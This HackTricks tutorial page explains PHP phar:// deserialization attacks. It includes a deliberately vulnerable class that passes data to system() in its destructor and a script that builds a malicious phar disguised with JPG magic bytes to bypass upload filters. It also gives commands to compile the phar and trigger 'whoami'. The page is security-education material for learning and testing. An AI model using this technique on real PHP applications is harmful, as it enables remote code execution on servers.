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114 lines
5 KiB
Markdown
114 lines
5 KiB
Markdown
# phar:// deserialization
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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<figure><img src="../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
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**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
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{% embed url="https://go.intigriti.com/hacktricks" %}
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**Phar** files (PHP Archive) files **contain meta data in serialized format**, so, when parsed, this **metadata** is **deserialized** and you can try to abuse a **deserialization** vulnerability inside the **PHP** code.
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The best thing about this characteristic is that this deserialization will occur even using PHP functions that do not eval PHP code like **file\_get\_contents(), fopen(), file() or file\_exists(), md5\_file(), filemtime() or filesize()**.
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So, imagine a situation where you can make a PHP web get the size of an arbitrary file an arbitrary file using the **`phar://`** protocol, and inside the code you find a **class** similar to the following one:
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{% code title="vunl.php" %}
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```php
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<?php
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class AnyClass {
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public $data = null;
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public function __construct($data) {
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$this->data = $data;
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}
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function __destruct() {
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system($this->data);
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}
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}
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filesize("phar://test.phar"); #The attacker can control this path
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```
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{% endcode %}
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You can create a **phar** file that when loaded will **abuse this class to execute arbitrary command**s with something like:
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{% code title="create_phar.php" %}
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```php
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<?php
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class AnyClass {
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public $data = null;
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public function __construct($data) {
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$this->data = $data;
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}
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function __destruct() {
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system($this->data);
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}
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}
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// create new Phar
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$phar = new Phar('test.phar');
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$phar->startBuffering();
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$phar->addFromString('test.txt', 'text');
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$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");
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// add object of any class as meta data
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$object = new AnyClass('whoami');
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$phar->setMetadata($object);
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$phar->stopBuffering();
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```
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{% endcode %}
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Note how the **magic bytes of JPG** (`\xff\xd8\xff`) are added at the beginning of the phar file to **bypass** **possible** file **uploads** **restrictions**.\
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**Compile** the `test.phar` file with:
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```bash
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php --define phar.readonly=0 create_phar.php
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```
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And execute the `whoami` command abusing the vulnerable code with:
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```bash
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php vuln.php
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```
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### References
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{% embed url="https://blog.ripstech.com/2018/new-php-exploitation-technique/" %}
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<figure><img src="../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
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**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
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{% embed url="https://go.intigriti.com/hacktricks" %}
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
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Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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